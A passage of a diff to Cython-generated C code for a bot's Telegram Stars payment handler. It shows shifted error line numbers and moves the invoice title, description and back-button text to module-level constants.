__pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 213, __pyx_L1_error) - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 213, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 215, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -7669,21 +7671,21 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L7_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 213, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 215, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 213, __pyx_L1_error) + else __PYX_ERR(0, 215, __pyx_L1_error) } } - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 215, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 215, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -7705,7 +7707,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 214, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -7720,12 +7722,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L8_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 214, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 216, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 214, __pyx_L1_error) + else __PYX_ERR(0, 216, __pyx_L1_error) } } @@ -7736,7 +7738,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __Pyx_XGOTREF(__pyx_t_12); /*try:*/ { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_delete); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L9_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_delete); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 220, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -7756,7 +7758,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 218, __pyx_L9_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 220, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -7786,16 +7788,16 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 218, __pyx_L9_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 220, __pyx_L9_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 218, __pyx_L9_error) + else __PYX_ERR(0, 220, __pyx_L9_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 220, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 222, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -7815,7 +7817,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 220, __pyx_L9_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 222, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -7823,16 +7825,16 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_cur_scope->__pyx_v_builder = __pyx_t_9; __pyx_t_9 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L9_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 223, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 222, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L9_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 224, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_u__15) < 0) __PYX_ERR(0, 222, __pyx_L9_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_pay, Py_True) < 0) __PYX_ERR(0, 222, __pyx_L9_error) - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 222, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_u__19) < 0) __PYX_ERR(0, 224, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_pay, Py_True) < 0) __PYX_ERR(0, 224, __pyx_L9_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 224, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -7855,22 +7857,25 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 221, __pyx_L9_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 223, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 224, __pyx_L9_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 226, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 225, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 227, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 225, __pyx_L9_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 227, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__8) < 0) __PYX_ERR(0, 225, __pyx_L9_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_back_to_pay_stars_after_invoice) < 0) __PYX_ERR(0, 225, __pyx_L9_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_BACK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 227, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_back_to_pay_stars_after_invoice) < 0) __PYX_ERR(0, 227, __pyx_L9_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -7893,141 +7898,117 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 224, __pyx_L9_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 226, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 227, __pyx_L9_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 229, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_1 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L9_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 230, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 228, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = 0; - __pyx_t_7 = 127; - __Pyx_INCREF(__pyx_kp_u__16); - __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; - __pyx_t_6 += 25; - __Pyx_GIVEREF(__pyx_kp_u__16); - PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__16); - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 228, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; - __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); - __Pyx_GIVEREF(__pyx_t_3); - PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_3); - __pyx_t_3 = 0; - __Pyx_INCREF(__pyx_kp_u__17); - __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; - __pyx_t_6 += 8; - __Pyx_GIVEREF(__pyx_kp_u__17); - PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__17); - __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 228, __pyx_L9_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_format); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_title, __pyx_t_3) < 0) __PYX_ERR(0, 228, __pyx_L9_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - - __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 229, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = 0; - __pyx_t_7 = 127; - __Pyx_INCREF(__pyx_kp_u__16); - __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; - __pyx_t_6 += 25; - __Pyx_GIVEREF(__pyx_kp_u__16); - PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u__16); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L9_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_7; - __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); - __Pyx_GIVEREF(__pyx_t_2); - PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_2); - __pyx_t_2 = 0; - __Pyx_INCREF(__pyx_kp_u__17); - __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; - __pyx_t_6 += 8; - __Pyx_GIVEREF(__pyx_kp_u__17); - PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__17); - __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 228, __pyx_L9_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 230, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_label, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 230, __pyx_L9_error) - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 230, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 230, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_13 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_8); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_title, __pyx_t_8) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 231, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_format); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 231, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 231, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 231, __pyx_L9_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_description, __pyx_t_3) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 232, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_label, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 232, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 232, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_13 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 232, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_13); - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyNumber_Int(__pyx_t_13); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 230, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_8); - __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_amount, __pyx_t_8) < 0) __PYX_ERR(0, 230, __pyx_L9_error) - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 230, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_13); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 232, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_amount, __pyx_t_2) < 0) __PYX_ERR(0, 232, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 232, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 230, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_GIVEREF(__pyx_t_8); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_8)) __PYX_ERR(0, 230, __pyx_L9_error); - __pyx_t_8 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_prices, __pyx_t_3) < 0) __PYX_ERR(0, 228, __pyx_L9_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_provider_token, __pyx_kp_u__18) < 0) __PYX_ERR(0, 228, __pyx_L9_error) - - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_8 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_3, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 232, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_8); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_payload, __pyx_t_8) < 0) __PYX_ERR(0, 228, __pyx_L9_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 228, __pyx_L9_error) + __pyx_t_8 = PyList_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 232, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_8, 0, __pyx_t_2)) __PYX_ERR(0, 232, __pyx_L9_error); + __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_prices, __pyx_t_8) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_provider_token, __pyx_kp_u__12) < 0) __PYX_ERR(0, 230, __pyx_L9_error) - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 234, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = NULL; + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 234, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_2 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_8, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_payload, __pyx_t_2) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 236, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_3 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_3))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); - if (likely(__pyx_t_2)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); - __Pyx_INCREF(__pyx_t_2); + if 